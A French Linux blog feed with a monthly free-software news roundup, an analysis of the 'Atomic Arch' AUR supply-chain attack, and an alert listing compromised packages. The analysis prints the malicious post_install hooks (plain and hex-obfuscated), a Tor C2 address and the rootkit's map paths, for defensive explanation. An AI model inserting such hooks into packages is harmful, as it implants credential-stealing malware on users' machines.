❌

Vue lecture

Il y a de nouveaux articles disponibles, cliquez pour rafraîchir la page.

CKOIKIDI 103 : Résumé du live Actus du libre juin 2026

✇Actualités - Linuxtricks.fr
Salut à toutes et à tous,

On se retrouve pour le débriefing complet de ce CKOIKIDI #103 du jeudi 2 juillet 2026, exceptionnellement un jeudi en raison d'un événement perso mercredi !
Au sommaire, le résumé des actualités du libre du mois de juin. On a les dossiers habituels à traiter, entre souveraineté, distributions. et logiciels libres alors c'est parti !


1. Mageia 10 : La "Debian des RPM" se rafraîchit
La dixième version de la distribution Mageia est sortie fin juin, presque trois ans après la version précédente. Il faut rappeler que Mageia est gérée par une association loi 1901 basée à Paris, ce qui garantit que les choix stratégiques sont communautaires et non dictés par une entreprise. Cette version 10 apporte un rafraîchissement, même si l'équipe reste prudente sur les versions logicielles pour garantir la stabilité. On y retrouve KDE Plasma 6.5.5, Gnome 49 et une version 4.21 de Xfce (avec des paquets de développement). Mageia reste l'une des rares distributions à proposer encore une installation en 32 bits (i686), ce qui est génial pour redonner vie à de vieux PC. Sous le capot, on utilise un noyau Linux LTS (6.18.35) et DNF 5 est désormais disponible en plus de l'outil historique URPM. Le célèbre Centre de Contrôle de Mageia (CCM) est toujours présent, offrant une interface unique pour tout paramétrer graphiquement. On peut même y basculer de PulseAudio à PipeWire et inversement en quelques clics. La mise à niveau est déjà dispo et le tout en graphique !

Je considère Mageia comme la "Debian des RPM" car ils vont lentement mais sûrement. Bon taf !

Sources : https://blog.mageia.org/fr/2026/06/30/la-puissance-de-10/
https://wiki.mageia.org/en/Mageia_10_Release_Notes
https://linuxfr.org/news/mageia-10-le-manchot-sort-du-chaudron


2. Kali Linux 2026.2 : La boîte à outils cyber s'améliore
Kali Linux a publié sa deuxième mise à jour de l'année fin juin, rafraîchissant son image d'installation. Cette distribution, héritière de BackTrack, n'est absolument pas destinée au grand public mais aux professionnels de la cybersécurité. Elle intègre désormais Gnome 50 et KDE Plasma 6.6, ainsi que de nouveaux scripts pour faciliter la gestion des paquets. On note une optimisation du démarrage pour les machines virtuelles en supprimant certains micrologiciels inutiles dans ce contexte. Pour les tests matériels physiques (Wi-Fi, Bluetooth), le noyau a été mis à jour en version 6.19. Une nouveauté intéressante est l'intégration de Shell GPT, une interface IA locale pour poser des questions directement dans le terminal sans envoyer de données sur le cloud. Tailscale est également inclus par défaut pour faciliter la connectivité sécurisée entre appareils. L'intérêt de Kali réside dans le fait d'avoir des centaines d'utilitaires de pentest préinstallés et configurés.

C'est une magnifique caisse à outils pour un usage très spécifique. Attention cependant, installer Kali ne fait pas de vous un expert en sécurité ; c'est un métier à part entière qui demande de solides bases système.

Sources : https://www.kali.org/blog/kali-linux-2026-2-release/


3. Myna : La dictée vocale arrive sur Ubuntu Desktop

Canonical a annoncé une nouvelle fonctionnalité majeure pour la future version Ubuntu 26.10 : le projet Myna. Il s'agit d'un outil de reconnaissance vocale "Speech to Text" dont le nom vient d'un oiseau capable d'imiter la voix humaine. L'objectif est d'offrir une dictée vocale native, activable par un simple raccourci clavier de type "Push-to-Talk". Le point fort est le traitement local par IA (inférence locale), garantissant qu'aucun son ne sort de votre machine pour être analysé sur un serveur tiers. Pour cette première version, l'outil sera uniquement qualifié pour l'environnement Gnome sous Wayland. Il n'y aura pas encore de commandes vocales ou de traduction automatique, le but étant de solidifier les bases de la dictée. C'est une avancée fantastique pour l'accessibilité sous Linux, un domaine où nous avons encore du retard vis à vis de Windows ou MacOS. L'architecture est pensée pour être portable vers d'autres environnements comme KDE ou Xfce à l'avenir.

C'est précisément pour ce genre d'innovations que je continue de recommander Ubuntu comme la meilleure porte d'entrée pour les débutants. Même si je ne l'utilise pas personnellement, je salue toute ce qu'elle fait pour le grand public.

Sources : https://discourse.ubuntu.com/t/introducing-myna-speech-to-text-for-ubuntu-desktop/84251
https://linux.developpez.com/actu/384557/Canonical-annonce-que-Linux-Ubuntu-26-10-integrera-Myna-une-nouvelle-solution-de-reconnaissance-vocale-alimentee-par-l-IA-axee-sur-la-protection-de-la-vie-privee-et-le-traitement-local/


4. Xfce Wayland : Le compositeur Xfwl4 pointe le bout de son nez

C'est une nouvelle que j'attendais avec impatience : le projet Xfce a publié la toute première version "Alpha" de son compositeur Wayland, Xfwl4. Ce développement est possible grâce aux dons de la communauté qui ont permis de recruter un développeur à temps plein, Brian Tarricone, depuis six mois. L'objectif est de permettre aux utilisateurs de basculer sur une session Wayland sans même remarquer de différence ergonomique. Pour l'instant, c'est une version de test avec beaucoup de bugs connus, notamment sur la gestion des raccourcis clavier et des marges d'écran. Xfce était à la traîne par rapport à Gnome ou KDE sur cette transition technologique, mais le signal envoyé est très positif. L'environnement reste fidèle à son apparence historique, légère et simple, tout en évoluant sous le capot. On attend de voir si la légèreté légendaire de Xfce sera préservée avec ce nouveau protocole. Rappelons qu'Xfce est originaire de France et date de 1996 !

Je trouve ça génial de voir que les dons des utilisateurs servent concrètement à faire évoluer un projet historique vers les standards modernes. Xfce assume son côté "vieillot" mais efficace, et cette transition vers Wayland est vitale pour sa survie.

Sources : https://alexxcons.github.io/blogpost_15.html
https://www.phoronix.com/news/Xfwl4-First-Release


5. Audacity 4 : Une révolution visuelle en approche

Le célèbre éditeur audio Audacity prépare sa version 4.0, et la deuxième bêta vient de sortir avec des changements radicaux. La grande nouveauté est la réécriture complète de l'interface en Qt, abandonnant le vieux framework wxWidgets qui commençait à dater. Visuellement, c'est beaucoup plus moderne, avec un support natif des thèmes sombres et une meilleure intégration sous Wayland. Les outils d'édition spectrale ont été repensés pour agir directement sur les spectrogrammes de manière visuelle. On pourra désormais copier-coller des clips audio entre plusieurs projets ouverts simultanément, ce qui va faire gagner un temps fou. La gestion des métadonnées (tags) a également été revue pour être plus ergonomique lors de l'export. Bien que l'interface change, le moteur audio reste celui que nous connaissons, garantissant la fiabilité des traitements. L'application propose des fonctionnalités cloud facultatives via Muse Group, mais cela reste totalement optionnel.

J'utilise Audacity très souvent et cette version 4.0 va faire un bien fou, car l'ancienne interface était vraiment fouillis. C'est un logiciel incontournable qui se bonifie enfin avec le temps.

Sources : https://www.audacityteam.org/next/
https://www.omgubuntu.co.uk/2026/06/audacity-4-0-beta


6. Shotcut 26.06 : Le montage vidéo passe au HDR

Le logiciel de montage vidéo Shotcut continue son bonhomme de chemin avec une version 26.06 focalisée sur les technologies d'affichage modernes. La nouveauté majeure est le support du HDR (HDR10 et HLG), permettant de monter des vidéos issues de smartphones récents sans perte de dynamique. On retrouve également le support d'un second écran comme moniteur externe, une fonction qui avait disparu il y a trois ans. Le logiciel intègre désormais de nouveaux filtres de réduction de bruit audio très performants pour nettoyer vos prises de son. Pour les utilisateurs avancés, Shotcut supporte maintenant les plugins externes au format OpenFX et VST2. Sous Linux, un mode d'affichage via Vulkan est disponible pour améliorer la fluidité de la prévisualisation. Le logiciel met également à jour ses bibliothèques de base comme FFmpeg en version 8.1. C'est une alternative intéressante qui semble moins "fouillie" que Kdenlive au premier abord.

Même si je reste fidèle à Kdenlive pour toutes mes vidéos, je reconnais que Shotcut évolue bien et satisfera un bon nombre d'entre vous !

Sources : https://www.shotcut.org/blog/new-release-26.6.25/


7. Darktable 5.6 : L'IA au service des photographes

Le logiciel de traitement photo Darktable passe en version 5.6 avec une approche de l'IA que je trouve exemplaire. Ils introduisent des outils basés sur l'intelligence artificielle pour le détourage automatique d'objets et la restauration d'images (débruitage). Contrairement à d'autres, ces fonctions sont désactivées par défaut et nécessitent une option de compilation spécifique pour être utilisées. Tout le traitement se fait en local sur votre machine, sans aucune télémétrie ni envoi de photos sur un cloud. L'équipe s'appuie sur des modèles open source existants comme "Segment Anything" plutôt que de créer des modèles propriétaires. Au-delà de l'IA, cette version améliore l'export au format HEIF et double la résolution de la prévisualisation en "chambre noire". Les performances ont été optimisées via OpenCL pour rendre le logiciel plus réactif sur les gros catalogues. Attention, il n'y a pas de rétrocompatibilité des réglages avec la version 5.4.

C'est la bonne façon d'intégrer l'IA : elle sert à automatiser les tâches fastidieuses sans remplacer le jugement de l'artiste, tout en restant souverain sur ses données.

Sources : https://www.darktable.org/2026/06/meet-darktable-5.6-ai-tools/


8. Noyau Linux 7.2 : On continue le ménage !

Le développement du futur noyau Linux 7.2 confirme une tendance de fond : le grand nettoyage du matériel obsolète. Cette fois-ci, c'est le pilote pour la carte graphique Hercules monochrome ISA (conçue en 1982 !) qui va être supprimé. Ce ménage permet de retirer plus de 1000 lignes de code qui n'étaient plus maintenues depuis des décennies. D'autres vieux composants, comme certains processeurs AMD très anciens ou des synthétiseurs vocaux sur bus ISA, partent également à la retraite. Cette accélération du nettoyage est en partie due à l'IA, qui trouve de nombreuses vulnérabilités dans ces vieux pilotes délaissés. En supprimant ce code "mort", on réduit la surface d'attaque du noyau et on simplifie sa maintenance globale. Pour les collectionneurs, il faudra simplement rester sur des noyaux plus anciens pour faire fonctionner ces machines de musée. C'est un virage nécessaire pour un noyau qui doit supporter les technologies du futur.

Je trouve que c'est une excellente chose de faire ce ménage pour réduire la dette technique, même si ça peut piquer un peu les nostalgiques.

Sources : https://www.phoronix.com/news/Linux-7.2-Hercules-Mono-ISA


9. Akrites : Une task-force contre les cybermenaces IA

La Linux Foundation a lancé l'initiative Akrites pour protéger les logiciels open source critiques contre les menaces boostées à l'IA. Le constat est simple : ce qui prenait des semaines à un expert humain pour trouver une faille peut désormais se faire en quelques minutes avec des modèles d'IA bien guidés. Akrites regroupe des géants comme Antropic, AWS, Google, Microsoft, Red Hat, Vodaphone ou encore OpenAI. L'idée est de coordonner la réponse aux incidents de sécurité au lieu d'avoir des organisations qui travaillent en parallèle de manière fragmentée. Cette équipe de réponse partagée pourra ainsi proposer des correctifs plus rapidement et de manière plus cohérente. L'IA devient donc à la fois le problème (découverte de failles) et la solution (génération rapide de patchs). C'est une réponse structurelle aux inquiétudes de Linus Torvalds concernant le "tsunami" de rapports de bugs générés par IA dont a parlé le mois dernier.

On ne peut plus développer de l'open source critique dans son garage sans s'organiser face aux nouvelles menaces ; c'est une bonne chose que des entreprises qui ont des gros moyens contribuent à cette protection collective !

Source : https://www.linuxfoundation.org/press/linux-foundation-and-industry-leaders-launch-akrites-to-defend-critical-open-source-software-against-ai-enabled-cyber-threats


10. Un groupe de travail "Wayland pour les artistes"

L'Academy Software Foundation, liée à l'industrie du cinéma, a lancé un groupe de travail "Wayland pour les artistes". Ce groupe inclut des membres de chez Walt Disney Animation Studios et de la Visual Effect Society. Ils s'inquiètent de l'impact du passage à Wayland sur les outils professionnels comme les tablettes graphiques ou la gestion des couleurs HDR. Pour des studios comme Disney, qui utilisent Linux pour leurs effets visuels, la transition de X11 vers Wayland doit être transparente et parfaite. Le groupe va travailler sur le support du focus de saisie, les tablettes graphiques et l'accélération GPU spécifique à leur métier. C'est un signal très fort qui montre que Wayland est désormais perçu comme l'unique avenir sérieux pour l'affichage sous Linux. Cela va bénéficier à tous les utilisateurs créatifs du monde libre grâce à l'investissement de ce groupe de travail.

Voir des gens de Disney et l'industrie du cinéma s'impliquer directement dans le développement et l'organisation des logiciels libres comme propriétaire vis à vis de Wayland prouve que Linux est la plateforme reine pour la création de contenu haut de gamme !

Sources : https://www.aswf.io/blog/academy-software-foundation-launches-new-wayland-for-artists-working-group/


11 Cartes.gouv.fr : La pépite de la souveraineté française
L'IGN a lancé cartes.gouv.fr, un portail cartographique souverain qui centralise tous les services éparpillés de l'État. Cette plateforme vise à devenir une alternative sérieuse à Google Maps en regroupant les données de Géoportail, les limites administratives, les cartes forestières et hydrographiques. La grande nouveauté est l'intégration de Panoramax, un "Street View" libre et communautaire. On peut désormais se balader virtuellement dans de nombreuses villes de France avec des images haute résolution. En décembre, le département de la côte d'Or avait lancé "Côte-d'Or Street" basé sur Panoramax qui a permis de cartographier toutes les routes du département avec cette technologie. Les images sont floutées par IA pour protéger la vie privée (visages et plaques). L'interface permet de superposer des couches de données incroyables comme les parcelles cadastrales ou les zones de risques naturels. C'est un outil précieux pour les entreprises françaises qui souhaitent intégrer des cartes sans dépendre d'acteurs américains.

C'est ma pépite du mois ! On prouve enfin qu'avec de l'Open Data et une volonté politique, on peut créer des outils souverains qui n'ont rien à envier aux géants de la Silicon Valley.

Sources : https://cartes.gouv.fr/explorer-les-cartes/


Merci à toutes et à tous d'avoir suivi ce 103e épisode ! J'espère que cette synthèse vous a plu.
On se retrouve le 5 aout pour le prochain épisode !

Atomic Arch : Synthèse technique sur cette compromission d'Arch User Repository

✇Actualités - Linuxtricks.fr
Bonjour à tous,

Je voulais prendre le temps de vous parler d'une attaque qui fait beaucoup parler en ce moment : la campagne baptisée Atomic Arch, qui cible depuis le 11 juin le dépôt communautaire d'Arch Linux, l'AUR. Nommée ainsi, c'est l'un des incidents supply chain les plus larges jamais enregistrés sur ce dépôt, avec plus de 1900 paquets compromis au moment où j'écris cet article et le nombre continue d'augmenter.

Je suis tombé sur la source en anglaise CyberSecGuru, qui m'a été donné dans mon Tweet où je publiais la vidéo pour informer de cette compromission. Elle contient plein d'infos techniques, et je vais vous en faire un résumé, dans le même esprit que l'analyse de CopyFail qui vous avait bien plu.

J'ai voulu répondre à de nombreux messages sur le Discord, aux commentaires de la vidéo de Vendredi, et cet article sert de base à une vidéo.
Je vous mets toutes mes sources en bas de l'article.

Anatomie de l'attaque : comprendre l'AUR et ses paquets orphelins

Arch Linux dispose de dépôts officiels, maintenus par son équipe, avec des paquets signés et contrôlés. Mais ces dépôts ne contiennent pas tout. Pour le reste, versions git, logiciels en beta ou de niche, il y a l'AUR (Arch User Repository) : un dépôt communautaire ouvert à n'importe quel utilisateur, hébergeant plus de 100 000 paquets.

Un paquet AUR ne distribue généralement pas de binaire précompilé. Il distribue un fichier texte : le PKGBUILD. C'est la recette de construction qui permer de télécharger les sources, indique comment les compiler, quelles commandes exécuter à l'installation. Des outils comme yay ou paru automatisent tout ça pour l'utilisateur, ou "PaMac" qui est dans Manjaro.

Ce système a un point faible structurel : les paquets orphelins. Quand un mainteneur abandonne son paquet, celui-ci reste disponible avec sa réputation intacte, ses années d'historique. Et n'importe quel compte AUR peut l'adopter et en devenir le nouveau mainteneur, sans délai de validation, sans vérification, sans audit. Le nouveau mainteneur hérite instantanément de la confiance accumulée. C'est exactement cette mécanique qu'Atomic Arch a exploitée.

La chaîne d'infection : comment un PKGBUILD devient une backdoor

L'attaquant, opérant sous le compte arojas (et d'autres pseudos créés) a automatisé la découverte et l'adoption de paquets orphelins. C'est déjà un truc qui est fait chez Arch pour repérer des paquets sans mainteneur et continuer de les mettres à jour.
Mais là, c'est une opération multi-comptes coordonnée à but malveillant.
Une fois un paquet adopté, la modification dans le PKGBUILD est minime et discrète. Deux changements suffisent :
- ajouter npm dans la liste des dépendances du paquet.
- dans le script .install, ajouter un hook post_install() qui exécute : npm install atomic-lockfile

Voici le bout de code :
Code BASH :
post_install() {{
 cd /tmp
 npm install atomic-lockfile axios cosmiconfig uuid
}}


Quand l'utilisateur installe ou met à jour le paquet via yay ou paru, voici ce qui se passe lorsque le PKGBUILD est joué :
1 : npm est récupéré comme dépendance.
2 : Le hook post_install se déclenche et lance npm install atomic-lockfile.
3 : npm récupère le paquet atomic-lockfile depuis le registre npm officiel.
4 : Ce paquet contient dans son package.json un script preinstall : "preinstall": "./src/hooks/deps"
5 : npm exécute automatiquement ce script, ce qui lance le binaire malveillant.

Le paquet AUR lui-même semble propre à première vue. La modification est dans les instructions de build, pas dans le logiciel.


Une deuxième vague, plus obfusquée

Le 12 juin, une deuxième vague émerge : bun remplace npm, et le paquet malveillant s'appelle js-digest. Même payload, mécanisme différent pour contourner les premières détections.

Plus inquiétant : cette deuxième vague est délibérément obfusquée. Les commandes sont décomposées avec du découpage de chaînes shell, des guillemets mixtes et des séquences hexadécimales. Un exemple réel vu dans un paquet compromis :
Code BASH :
post_install() {
  $'\x63'"d" "/"'t'"m"'p' && "b"'u''n' 'a'"d"'d' $'\141\x6e''s'"i"...
}

Une fois "reconverti", ça donne simplement cd /tmp && bun add nextfile-js. Trois lignes dans un fichier .install. Invisible à un regard rapide, même pour un œil averti, mais qui peut questionner !

Le payload : un binaire Rust taillé pour les postes de développement

Le binaire qui s'exécute s'appelle deps. Il a été écrit spécifiquement pour des postes de développement, pas pour des machines lambda. A peine 3Mo et livré déjà compilé en x68_64. Le code source est écrit en Rust.

A noter la somme de contrôle SHA-256 : 6144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98B

Il fait trois choses en parallèle via une architecture de machines d'état asynchrones.

Ce qu'il vole :

Le binaire balaie le système à la recherche de secrets développeurs. La liste est exhaustive : cookies et sessions de navigateurs Chromium (Chrome, Edge, Brave, Vivaldi, ...), applications Electron (Slack, Microsoft Teams, Discord et toutes ses variantes), tokens GitHub, tokens npm, clés API OpenAI, credentials Docker/Podman, clés SSH (tout le répertoire ~/.ssh/), historiques shell (.bash_history, .zsh_history, fish_history) tokens Vault (~/.vault-token), fichiers VPN, ...

Exfiltration via Tor

Les données sont envoyées en deux canaux : les fichiers uploadés vers temp.sh via HTTP, et les métadonnées envoyées vers un serveur de commande. Ce serveur de commande est une adresse onion Tor :
Code BASH :
olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion

La connexion transite par un proxy SOCKS loopback local avant de sortir via Tor.

Persistance et rootkit eBPF : pourquoi c'est difficile à détecter

Persistance via systemd

Dès son exécution, le binaire crée un service systemd configuré avec Restart=always et RestartSec=30. Tuer le processus ne suffit pas : il redémarre 30 secondes plus tard. Malin !

Suivant les droits quand le binaire est exécuté :
- Avec les droits root : installation dans /var/lib/ et /etc/systemd/system/
- sans root : installation dans ~/.config/ et ~/.config/systemd/user/

Le nom du service est généré à l'exécution, pas stocké en clair. Un simple grep ne suffit pas à le trouver.

Le rootkit eBPF

Si le binaire a été exécuté avec les droits root (ce qui est normalement le cas quand le paquet est "installé"), il active le composant le plus redoutable : un rootkit basé sur eBPF.

En 2 mots, l'eBPF (extended Berkeley Packet Filter) est une technologie noyau Linux légitime, utilisée pour la surveillance réseau ou le profilage de performances. Ici, elle est détournée pour charger un programme noyau qui interpose les appels système de listage de processus et de fichiers.

Résultat : ps, top, ss, netstat ne voient plus le malware. Ni ses processus, ni ses fichiers, ni ses connexions réseau. Le rootkit crée trois maps BPF épinglées dans le système de fichiers :
Code BASH :
/sys/fs/bpf/hidden_pids
/sys/fs/bpf/hidden_names
/sys/fs/bpf/hidden_inodes

Ces maps persistent même si vous tuez le processus.
On apprend aussi que tout processus qui tente un ptrace sur un processus masqué est tué automatiquement, ce qui empêche les outils d'analyse de s'y attacher.

Infographie de The CyberSec Guru

Je trouve cette image excellente pour le résumé, alors je vous la repartage. C'est peut être généré par IA mais parfois une image vaut 1000 mots :

atomic-arch



Pourquoi cette attaque dépasse Arch Linux

L'AUR a été le point d'entrée, pas la cible finale. Et la cible n'est pas Arch Linux, je vous explique.

Les utilisateurs d'Arch en poste de travail de développement sont souvent mainteneurs de paquets npm, pip ou contribuent à des images Docker/Podman sur le docker hub.
Si leur machine est compromise, c'est l'intégralité de leurs projets upstream qui peut être infectée à son tour !
Par conséquent, la compromission initiale peut alors
- toucher un conteneur docker déployé sur un serveur d'entreprise (Debian, RHEL ou autre)
- se retreouver dans une dépendance npm installée dans d'autres écosystèmes

L'AUR est le point d'entrée d'une attaque supply chain bien plus large.

Que faire si vous êtes potentiellement touché

Si vous utilisez Arch, Manjaro, CachyOS, EndeavourOS ou tout dérivé avec AUR, et que vous avez installé ou mis à jour un paquet AUR depuis le 11 juin, il faut faire quelques vérifs.

Première vérification : lister vos paquets AUR avec leur date d'installation :
Code BASH :
pacman -Qqm | while read pkg; do pacman -Qi "$pkg" | grep -E "^(Nom|Installé)" | paste - -; done | sort -k4

Analysez les paquets installés ou mis à jour depuis le 11 Juin 2026

Un outil communautaire de détection est disponible sur GitHub : https://github.com/lenucksi/aur-malware-check
Il circule sur les forums d'Arch Linux, il semble sain. Lisez-le quand même avant de le lancer.
Il va croiser l'historique Pacman, faire des vérifs sur les actions connues du malware engendées sur votre système.

Ah oui, un truc important, si vous suspectez une exécution en root, ne faites pas ces vérifications depuis le système compromis. Le rootkit masquera tout. Démarrez depuis un Live ISO d'Arch, faites un p'tit chroot et analysez depuis là !

Si vous êtes compromis :
- changez vos mots de passe (ceux qui ont pu être enregistrés sur la machine)
- regénérez une clé SSH avec une passphrase et révoquez l'ancienne de tous les lieux connus
- révoquez toutes les clés API utilisées sur la machine

Conclusion

Atomic Arch n'est pas une attaque contre Arch Linux car l'infrastructure officielle d'Arch n'a pas été touchée.
C'est une attaque contre un modèle de confiance héritée : adopter un paquet abandonné, c'est hériter instantanément de sa réputation sans la moindre vérification. Ce modèle va devoir changer. J'espère que la communauté d'Arch va tirer les conclusions nécessaires pour renforcer la sécurité.

Ce qui est inquiétant à long terme : ce type de ciblage des dépôts communautaires ne s'arrêtera pas à l'AUR. npm pour NodeJS, pip pour Python par exemple fonctionnent sur des modèles de confiance similaires.

Ce n'est pas la première attaque supply chain open source et ce ne sera pas la dernière.

Soyez prudents avec les paquets communautaires !

Merci à nouveau à :
- MrSlayers (et les autres par la suite) pour ses liens dans le salon #Sécurité du Discord Linuxtricks
- The CyberSec Guru pour sa réponse sur Twitter avec son article très détaillé https://x.com/thecybersecguru/status/2065534105731965055

Alerte rouge sur l'AUR : 400 paquets Arch Linux infectés ! (UPDATE : 1621 PKGS)

✇Actualités - Linuxtricks.fr
Bonjour à tous,

Aujourd'hui, on va parler d'une actu cyber qui touche directement l'écosystème Linux, et plus particulièrement une distribution très populaire : Arch Linux !

Si vous utilisez Arch, vous connaissez forcément l'AUR (Arch User Repository). C'est ce dépôt communautaire gigantesque où l'on trouve tout ce qui n'est pas dans les dépôts officiels. C'est pratique, c'est riche, mais c'est aussi un vecteur de risque important.

En effet, l'alerte a été donnée : plus de 400 paquets sur l'AUR ont été compromis.
Merci à MrSlayers pour ce lien dans le sujet sécurité du Discord : https://discourse.ifin.network/t/400-aur-packages-compromised-with-infostealer-and-rootkit/577

Concrètement, qu'est ce qui s'est-il passé ?
Les attaquants ont utilisé deux techniques bien connues dans les attaques de la "supply chain" :
- Le typosquatting : Ils créent des paquets avec des noms presque identiques à des logiciels très populaires (par exemple, firfox vs firefox), espérant qu'un utilisateur fasse une faute de frappe en tapant sa commande d'installation.
- La récupération de paquets orphelins : Sur l'AUR, un paquet peut être abandonné par son mainteneur d'origine. N'importe qui peut alors en revendiquer la maintenance. Les attaquants ont simplement récupéré des paquets sains mais abandonnés, puis ont poussé une mise à jour malveillante.

Il a été intégré dans ces paquets un cocktail détonnant :
- un infostealer pour voler vos identifiants, sessions de navigateur et clés SSH, etc...
- un rootkit pour prendre le contrôle de la machine

Et ça s'installe en root évidemment puisqu'une mise à jour ou l'installation d'un paquet ... nécessite les droits root :)

L'équipe de sécurité d'Arch a réagi en nettoyant les dépôts, mais cela soulève de vraies questions de fond.

À travers cet incident, que pensez-vous de la sécurité des dépôts gérés par la communauté ?
Pensez-vous que le modèle de confiance "a posteriori" (on nettoie après coup) est viable pour des dépôts aussi massifs que l'AUR ? Ou les PPA d'Ubuntu ? Ou COPR de Fedora Project ?
Comment trouvez-vous l'équilibre entre la liberté et la richesse d'un dépôt communautaire et la nécessité d'une sécurité rigoureuse ?

J'avoue que cet incident, que je ne pouvais pas ignorer, mérite qu'on se pose ces questions sur la sécurité de nos systèmes Linux !
Ces systèmes sont de plus en plus utilisés, et pupulaires, alors ils sont aussi des cibles nouvelles pour les pirates !

N'hésitez pas à réagir en commentaires.

UPDATE à 21h00 : 900 paquets sont signalés : https://lists.archlinux.org/archives/list/[email protected]/message/5FDTMKA54RMWNRHJFUAKXEBAFV5WPDUL/

UPDATE 13 Juin 9h : 1621 packages !!!

Au passage, voici la liste des paquets concernés (mis à jour pour les 1621) :
Code TEXT :
123pan-bin
1code
8188eu-dkms
8192eu-dkms-git
abntex
acpitool
actual-ai
adapta-gtk-theme-git
adblock2privoxy
adsuck
aion-git
akira-git
akonadi-git
aksusbd
albion-online-launcher-bin
alfont
alienfx
alienfx-lite
alock-git
alternating-layouts-git
alttab-git
alvr
ambiance-radiance-colors-suite
amdgpu-fancontrol-git
amdguid-wayland-bin
amide
amtterm
amule-dlp-git
android-backup-extractor
android-docs
android-google-play-apk-expansion
android-google-play-licensing
android-signapk
android-signapk-gui
android-support-repository
androidscreencast-bin
annobin
ansible-language-server
ant-dracula-gtk-theme
antfs-cli-git
antichamber
antileech
anythingllm-appimage
anythingllm-cli-bin
apache-ant-contrib
apk-installer-gui
apm_planner-bin
apothem
apple-music-desktop
apwal
aquaria-ose
ar-smileys
arachnophilia
arcadia
arch-palemoon-search
arch-update-vai
archivemail
archjh
archlinux-themes-balou
archlinux-themes-slim
archmage
archtex-git
arduino-git
argouml
aria2fe
ariang-allinone
arm-linux-gnueabihf-binutils
arm-linux-gnueabihf-glibc-headers
arm-linux-gnueabihf-linux-api-headers
artanis-git
ascii-rain-git
asciiworld-git
astah-uml
astro-editor-appimage
asus-fan-dkms-git
atlassian-confluence
atlassian-plugin-sdk
atolm-openbox-theme
atomicwalet
atomicwalllet
audible-activator-git
audiere
audiotube-git
auryo
autohand-cli
autolabel
autolatex
autologin
autozen
avarice-git
avogadro2-git
avra
awesome-cinnamon
awesome-revelation-git
awoken-icons
aws-cli-git
aws-sam-cli
azurlaneautoscript
backup2l
backwild
balena-cli
barrier-git
batman-adv
bazel-buildtools
bbswitch-git
bcachefs-kernel-dkms-git
bcalc
bcnc
bdf-creep
beancount-git
beebeep
beef
beets-copyartifacts-git
bibtex2html
bicon-git
bing-wallpaper-git
binnavi
biosdevname
bitcoin-core-git
blackfire-agent
blender-plugin-vectex
bleufear-gtk-theme
blinkenlib
blogc
blt
blueprint-compiler-git
blueproximity-py3-git
booklore
boostnote-bin
borg-git
bouml
bpytop-git
bracket
brightness-controller-git
brother-hl3150cdw
brother-hll6200dw
brow6el
brow6el-git
brscan3
bsnes-plus-git
burn-cd
c+±gtk-utils-gtk2
caelum
camotics
canon-pixma-mg3000-complete-fixed
capt-src
capture
cardano-node
cartridge-cli
castawesome
castersoundboard-git
cattle
cavestory±hb
cb2bib
ccase-bin
cccc
ccl-git
ccminer-git
ccsm-gtk3
cdo
centerim5-git
cerbere-git
cerebro
cgminer
cgvg
charcoal
chexquest3-wad
chez-scheme-git
chipmachine
chipmunk
chisel
chromeos-apk-git
cinny-desktop-system-tray
cint
cjs-git
clai
clamfs
clang15
clang19
clash-mi
clevo-xsm-wmi
cling-git
clipgrab-kde
cmake-modules-webos-git
cmospwd
cmuclmtk
cnijfilter-common
cnijfilter-common-mg5400
cnijfilter-ip110
cnijfilter-mp550
code-git
codeclimate
codeigniter
codenomad-bin
codeql-cli-bin
coffeescript-git
cogpit-bin
colorhug-client
colorsvn
colorz
compiler-rt19
compiz-fusion-plugins-experimental
compiz-fusion-plugins-experimental-git
compiz-fusion-plugins-extra
compiz-fusion-plugins-extra-git
compizconfig-python
compizconfig-python-git
complexity
connman-ncurses
connman-ncurses-git
connman-ui-git
containerd-git
contemporary-cursors
controllermap
coolreader
coolreader3-git
coppeliasim-bin
cowdancer
coyim
cpp-netlib
cppreference-devhelp
cpu-monitor-extension-lxpanel-plugin
cpufreqd
cpuminer-multi
cpuminer-multi-git
cpuset
craftbukkit-plugin-worldedit
createvm
cross-mingw-w64-gdb
cryptowatch-desktop-bin
cubieboard-livesuit
cura
cura-plugin-octoprint-git
curecoin-qt-git
curseradio-git
cutefish-calculator
cutefish-core
cutefish-dock
cutefish-filemanager
cutefish-icons
cutefish-launcher
cutefish-qt-plugins
cutefish-screenlocker
cutefish-screenshot
cutefish-settings
cutefish-statusbar
cutefish-wallpapers
cutemarked-git
cvs-feature-bin
cvs2svn
cwiid
cynthiune.app
d1x-rebirth
daala-git
daggerfall-addons
dagu-bin
dahdi-linux
dalbum
darwinia
dashcore
datatype99
davtools
dbxcli
deepin-mail-bin
deepin-wine6-stable
deheader
delaycut
denaro
dep
desktopnova
dexed-ide-bin
dfhack
dfhack-bin
dh-python
dianara
dibuja
difi
difi-bin
digikam-without-akonadi
digitemp
distrho-ports-lv2-git
dkopp
dmg2dir
docker-gc-git
doctoc
doom3-inhell
doomsday
dot-git
dots-hyprland-fork-git
dptf
drascula
drbl-experimental
drm_tools
droopy-git
dropbox-kde-systray-icons
dsd
dsdcc-git
dub-git
dukto
dvbcut
dvdrip
dvorak7min
dyad-bin
dynamodb
e4rat-lite-git
easy_spice
easymp3gain-qt4-bin
easytag-git
echinus-git
echo-icon-theme-git
eclipse-checkstyle
eclipse-i18n-de
eclipse-i18n-fr
eclipse-markdown
edconv-bin
edx-downloader-git
eel-language
efiboots-git
eisl
electrum-bin
electrum-nmc
elm-format-bin
elm-platform
elmerfem
emacs-color-theme
emacs-d-mode
emacs-ess-git
emacs-find-recursive
emacs-icicles
emacs-identica-mode
emacs-jabber
emacs-jabber-git
emacs-magit
emacs-mew
emacs-mmm-mode
emacs-paredit
emacs-pkgbuild-mode-git
emacs-popup-el
emacs-sml-mode
emacs-yasnippet-git
emms-git
encryptr
energyplus
envoy-git
envypn-font
eperiodique
epson-inkjet-printer-escpr2-clos-bin
errut
eslint-plugin-react
etherpad-lite
etmtk
eviacam
evilvte-git
evilwm
evopedia-git
evopop-gtk-theme
evopop-icon-theme
exact-image
exiftags
exodas
exodis
exodud
exodus-wallet-bin
exoduss
exoduswallet
exodux
exoduz
exodys
exouds
fanicontrol
fantom
farmmod-hub
fasd-git
fastjet
fastoggenc
fatx
fbctrl
fbff-git
fcitx-baidupinyin
fcitx5-pinyin-sougou-dict-git
fengoffice
ffdiaporama-texturemate
ffmpeg-bitrate-stats
ffmpeg-quality-metrics
ffmpeg3.4
fifth
